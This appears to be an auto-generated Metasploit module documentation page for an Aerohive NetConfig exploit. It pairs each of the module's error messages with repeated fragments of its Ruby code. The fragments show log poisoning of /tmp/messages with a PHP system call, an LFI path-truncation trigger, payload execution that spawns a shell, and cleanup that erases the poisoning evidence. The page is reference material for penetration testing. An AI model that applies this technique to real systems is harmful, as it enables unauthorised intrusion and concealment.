124:	      return CheckCode::Unknown("Failed to obtain a valid Aerohive NetConfig version: #{e}")
125:	    end
126:	  end

Failed to obtain a valid Aerohive NetConfig version: <E>


Here is a relevant code snippet related to the "Failed to obtain a valid Aerohive NetConfig version: <E>" error message:

119:	      else
120:	        print_warning('It should be noted that it is unclear if/when this issue was patched, so versions after 10.0r8a may still be vulnerable.')
121:	        return CheckCode::Safe("The target is Aerohive NetConfig version #{version}")
122:	      end
123:	    rescue StandardError => e
124:	      return CheckCode::Unknown("Failed to obtain a valid Aerohive NetConfig version: #{e}")
125:	    end
126:	  end
127:	
128:	  def poison_log
129:	    password = rand_text_alphanumeric(8..12)

Connection failed while trying to poison the log at /tmp/messages


Here is a relevant code snippet related to the "Connection failed while trying to poison the log at /tmp/messages" error message:

143:	        'password' => password
144:	      }
145:	    })
146:	
147:	    unless res
148:	      fail_with(Failure::Disconnected, 'Connection failed while trying to poison the log at /tmp/messages')
149:	    end
150:	
151:	    unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==')
152:	      fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to poison the log at /tmp/messages')
153:	    end

cmn/redirectLogin.php5?ERROR_TYPE=MQ==


Here is a relevant code snippet related to the "cmn/redirectLogin.php5?ERROR_TYPE=MQ==" error message:

146:	
147:	    unless res
148:	      fail_with(Failure::Disconnected, 'Connection failed while trying to poison the log at /tmp/messages')
149:	    end
150:	
151:	    unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==')
152:	      fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to poison the log at /tmp/messages')
153:	    end
154:	
155:	    print_status('Server responded as expected. Continuing...')
156:	  end

Unexpected response received while trying to poison the log at /tmp/messages


Here is a relevant code snippet related to the "Unexpected response received while trying to poison the log at /tmp/messages" error message:

147:	    unless res
148:	      fail_with(Failure::Disconnected, 'Connection failed while trying to poison the log at /tmp/messages')
149:	    end
150:	
151:	    unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==')
152:	      fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to poison the log at /tmp/messages')
153:	    end
154:	
155:	    print_status('Server responded as expected. Continuing...')
156:	  end
157:	

Please note this will render the target (temporarily) unexploitable. This state can last over an hour.


Here is a relevant code snippet related to the "Please note this will render the target (temporarily) unexploitable. This state can last over an hour." error message:

157:	
158:	  def on_new_session(session)
159:	    log_cleaned = false
160:	    if auto_clean_log
161:	      print_status('Attempting to clean the log file at /tmp/messages...')
162:	      print_warning('Please note this will render the target (temporarily) unexploitable. This state can last over an hour.')
163:	      begin
164:	        # We need remove the line containing the PHP system call from /tmp/messages
165:	        # The special chars in the PHP syscall make it nearly impossible to use sed to replace the PHP syscall with a regular username.
166:	        # Instead, let's avoid special chars by stringing together some grep commands to make sure we have the right line and then removing that entire line
167:	        # The impact of using sed to edit the file on the fly and using grep to create a new file and overwrite /tmp/messages with it, is the same:

Error during cleanup: <E.MESSAGE>


Here is a relevant code snippet related to the "Error during cleanup: <E.MESSAGE>" error message:

194:	          unless poison_evidence.include?(@poison_cmd)
195:	            log_cleaned = true
196:	          end
197:	        end
198:	      rescue StandardError => e
199:	        print_error("Error during cleanup: #{e.message}")
200:	      ensure
201:	        super
202:	      end
203:	
204:	      unless log_cleaned

Could not replace the PHP system call '<POISON_CMD>' in /tmp/messages


Here is a relevant code snippet related to the "Could not replace the PHP system call '<POISON_CMD>' in /tmp/messages" error message:

200:	      ensure
201:	        super
202:	      end
203:	
204:	      unless log_cleaned
205:	        print_warning("Could not replace the PHP system call '#{@poison_cmd}' in /tmp/messages")
206:	      end
207:	    end
208:	
209:	    if log_cleaned
210:	      print_good('Successfully cleaned up the log by deleting the line with the PHP syscal from /tmp/messages.')

Erasing the log poisoning evidence will require manually editing/removing the line in /tmp/messages that contains the poison command:n<POISON_CMD>


Here is a relevant code snippet related to the "Erasing the log poisoning evidence will require manually editing/removing the line in /tmp/messages that contains the poison command:n<POISON_CMD>" error message:

207:	    end
208:	
209:	    if log_cleaned
210:	      print_good('Successfully cleaned up the log by deleting the line with the PHP syscal from /tmp/messages.')
211:	    else
212:	      print_warning("Erasing the log poisoning evidence will require manually editing/removing the line in /tmp/messages that contains the poison command:\n\t#{@poison_cmd}")
213:	      print_warning('Please note that any modifications to /tmp/messages, even via sed, will render the target (temporarily) unexploitable. This state can last over an hour.')
214:	      print_warning('Deleting /tmp/messages or clearing out the file may break the application.')
215:	    end
216:	  end
217:	

Please note that any modifications to /tmp/messages, even via sed, will render the target (temporarily) unexploitable. This state can last over an hour.


Here is a relevant code snippet related to the "Please note that any modifications to /tmp/messages, even via sed, will render the target (temporarily) unexploitable. This state can last over an hour." error message:

208:	
209:	    if log_cleaned
210:	      print_good('Successfully cleaned up the log by deleting the line with the PHP syscal from /tmp/messages.')
211:	    else
212:	      print_warning("Erasing the log poisoning evidence will require manually editing/removing the line in /tmp/messages that contains the poison command:\n\t#{@poison_cmd}")
213:	      print_warning('Please note that any modifications to /tmp/messages, even via sed, will render the target (temporarily) unexploitable. This state can last over an hour.')
214:	      print_warning('Deleting /tmp/messages or clearing out the file may break the application.')
215:	    end
216:	  end
217:	
218:	  def execute_command(cmd, _opts = {})

Deleting /tmp/messages or clearing out the file may break the application.


Here is a relevant code snippet related to the "Deleting /tmp/messages or clearing out the file may break the application." error message:

209:	    if log_cleaned
210:	      print_good('Successfully cleaned up the log by deleting the line with the PHP syscal from /tmp/messages.')
211:	    else
212:	      print_warning("Erasing the log poisoning evidence will require manually editing/removing the line in /tmp/messages that contains the poison command:\n\t#{@poison_cmd}")
213:	      print_warning('Please note that any modifications to /tmp/messages, even via sed, will render the target (temporarily) unexploitable. This state can last over an hour.')
214:	      print_warning('Deleting /tmp/messages or clearing out the file may break the application.')
215:	    end
216:	  end
217:	
218:	  def execute_command(cmd, _opts = {})
219:	    print_status('Attempting to execute the payload')

In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open.


Here is a relevant code snippet related to the "In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open." error message:

228:	        '_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages',  # Trigger LFI through path truncation
229:	        @shell_cmd_name => cmd
230:	      }
231:	    }, 0)
232:	
233:	    print_warning('In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open.')
234:	  end
235:	
236:	  def exploit
237:	    poison_log
238:	    if target.arch.first == ARCH_CMD

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Erik de Jong
  • Erik Wynter

Version


This page has been produced using Metasploit Framework version 6.1.33-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.